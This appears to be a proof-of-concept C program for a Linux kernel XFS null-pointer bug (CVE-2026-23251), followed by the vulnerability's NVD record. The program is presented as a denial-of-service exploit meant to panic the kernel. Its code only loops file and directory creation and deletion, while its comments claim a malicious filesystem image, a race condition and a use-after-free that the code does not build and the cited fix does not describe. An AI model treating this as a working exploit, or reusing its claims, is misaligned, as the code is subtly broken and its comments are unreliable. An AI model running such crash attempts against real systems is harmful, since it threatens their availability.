CVE-2026-23251

// CVE-2026-23251 PoC - XFS Null Pointer Dereference Trigger // This PoC demonstrates triggering the vulnerability through XFS filesystem operations // Compile: gcc -o xfs_poc xfs_poc.c -Wall #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <sys/types.h> #include <sys/stat.h> #include <unistd.h> #define MAX_PATH 256 #define MALICIOUS_XFS_SIZE (1024 * 1024 * 64) // 64MB malicious image // Simulate triggering xfarray/xfblob destroy with invalid pointer void trigger_xfs_vulnerability(const char *mount_point) { char test_file[MAX_PATH]; int fd; printf("[*] Attempting to trigger CVE-2026-23251...\n"); // Step 1: Create malicious XFS filesystem structure snprintf(test_file, MAX_PATH, "%s/malicious_file_%d", mount_point, getpid()); // Step 2: Rapid create/delete operations to trigger race condition for (int i = 0; i < 1000; i++) { fd = open(test_file, O_CREAT | O_RDWR, 0644); if (fd >= 0) { // Write malicious metadata to trigger xfblob corruption write(fd, "CORRUPT_XFS_METADATA", 20); close(fd); // Rapid deletion to trigger use-after-free in xfarray/xfblob unlink(test_file); } // Step 3: Trigger directory operations that exercise xfarray code paths mkdir(test_file, 0755); rmdir(test_file); } printf("[!] If kernel panic occurs, vulnerability is confirmed\n"); } int main(int argc, char *argv[]) { const char *mount_point = argc > 1 ? argv[1] : "/mnt/xfs_test"; printf("[*] CVE-2026-23251 XFS Null Pointer Dereference PoC\n"); printf("[*] Target: %s\n", mount_point); printf("[*] Note: Requires XFS filesystem mounted at target location\n"); trigger_xfs_vulnerability(mount_point); return 0; }

{"cve": {"id": "CVE-2026-23251", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-03-18T18:16:23.090", "lastModified": "2026-05-21T18:30:19.560", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nxfs: only call xf{array,blob}_destroy if we have a valid pointer\n\nOnly call the xfarray and xfblob destructor if we have a valid pointer,\nand be sure to null out that pointer afterwards. Note that this patch\nfixes a large number of commits, most of which were merged between 6.9\nand 6.10."}, {"lang": "es", "value": "En el kernel de Linux, la siguiente vulnerabilidad ha sido resuelta:\n\nxfs: solo llamar a xf{array,blob}_destroy si tenemos un puntero válido\n\nSolo llamar al destructor xfarray y xfblob si tenemos un puntero válido, y asegurarse de anular ese puntero después. Tenga en cuenta que este parche soluciona un gran número de commits, la mayoría de los cuales fueron fusionados entre 6.9 y 6.10."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-476"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.10", "versionEndExcluding": "6.12.75", "matchCriteriaId": "CB67FC73-CF7B-41DB-A5A5-423C53BE93EF"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.13", "versionEndExcluding": "6.18.16", "matchCriteriaId": "B4B8CDA9-BADF-4CF5-8B3B-702DE8EEA40B"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.6", "matchCriteriaId": "373EEEDA-FAA1-4FB4-B6ED-DB4DD99DBE67"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/5de5be3ed7e7fa4ebde4f4b58fb9a629644f9202", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/ba408d299a3bb3c5309f40c5326e4fb83ead4247", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/c9ccefacae0d8091683447bc338bd7741417039d", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/d827612c81a26cc1dd83a211cfcb5ad8765da0c4", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}